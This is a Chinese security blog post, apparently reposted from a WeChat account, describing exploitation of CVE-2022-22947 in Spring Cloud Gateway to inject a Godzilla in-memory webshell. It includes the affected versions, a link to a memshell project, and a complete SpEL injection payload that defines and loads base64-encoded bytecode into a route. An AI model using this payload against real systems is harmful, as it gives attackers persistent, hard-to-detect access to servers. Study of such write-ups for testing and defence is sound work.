Spring Cloud 内存马注入

admin 2022年9月16日14:07:25评论113 views字数 1167阅读3分53秒阅读模式

0x00 漏洞简介


Spring Cloud Gateway是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式 以下版本的Spring Cloud Gateway存在SPEL表达式注入漏洞CVE-2022-22947,可导致未授权远程命令执行漏洞

  • 漏洞信息:CVE-2022-22947

  • 利用版本:

    • Spring Cloud Gateway 3.1.x < 3.1.1

    • Spring Cloud Gateway 3.0.x < 3.0.7

    • Spring Cloud Gateway 其他已不再更新的版本


0x01 利用背景


之前在某次演练活动,直接使用工具获得了命令马,想写入内存马也一直没有成功。将工具设置代理,使用burp抓包,获得漏洞的利用过程中发送的数据包,情况如下:

Spring Cloud 内存马注入

刷新路由

Spring Cloud 内存马注入


查看是否写入成功

Spring Cloud 内存马注入

活动中发现命令马非常难用,启动的进程无法常驻,进而无法对内网进行渗透,考虑写入内存马,没有成功。

当时参考的该项目下的代码

https://github.com/whwlsfb/cve-2022-22947-godzilla-memshell


0x02 复现研究


之后在一个授权项目又发现了该漏洞,继续研究下。关于上述项目产生的代码,需要编译为class文件,可在idea新建maven项目,其中依赖项目情况如下

<dependencies>    <dependency>        <groupId>org.springframework.cloud</groupId>        <artifactId>spring-cloud-starter-gateway</artifactId>        <version>3.1.0</version>    </dependency></dependencies>

之后利用maven编译代码,获得字节码,之后将字节码base64处理。

构造如下报文:

#{T(org.springframework.cglib.core.ReflectUtils).defineClass('GMemShell',T(org.springframework.util.Base64Utils).decodeFromString('<Base64字符串>'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping, '</路由>')}

利用上述过程,创建动态路由之后更新,发现内存马已经成功写入目标,并且可成功连接。

Spring Cloud 内存马注入

原文始发于微信公众号(here404):Spring Cloud 内存马注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月16日14:07:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Spring Cloud 内存马注入http://cn-sec.com/archives/1298891.html

发表评论

匿名网友 填写信息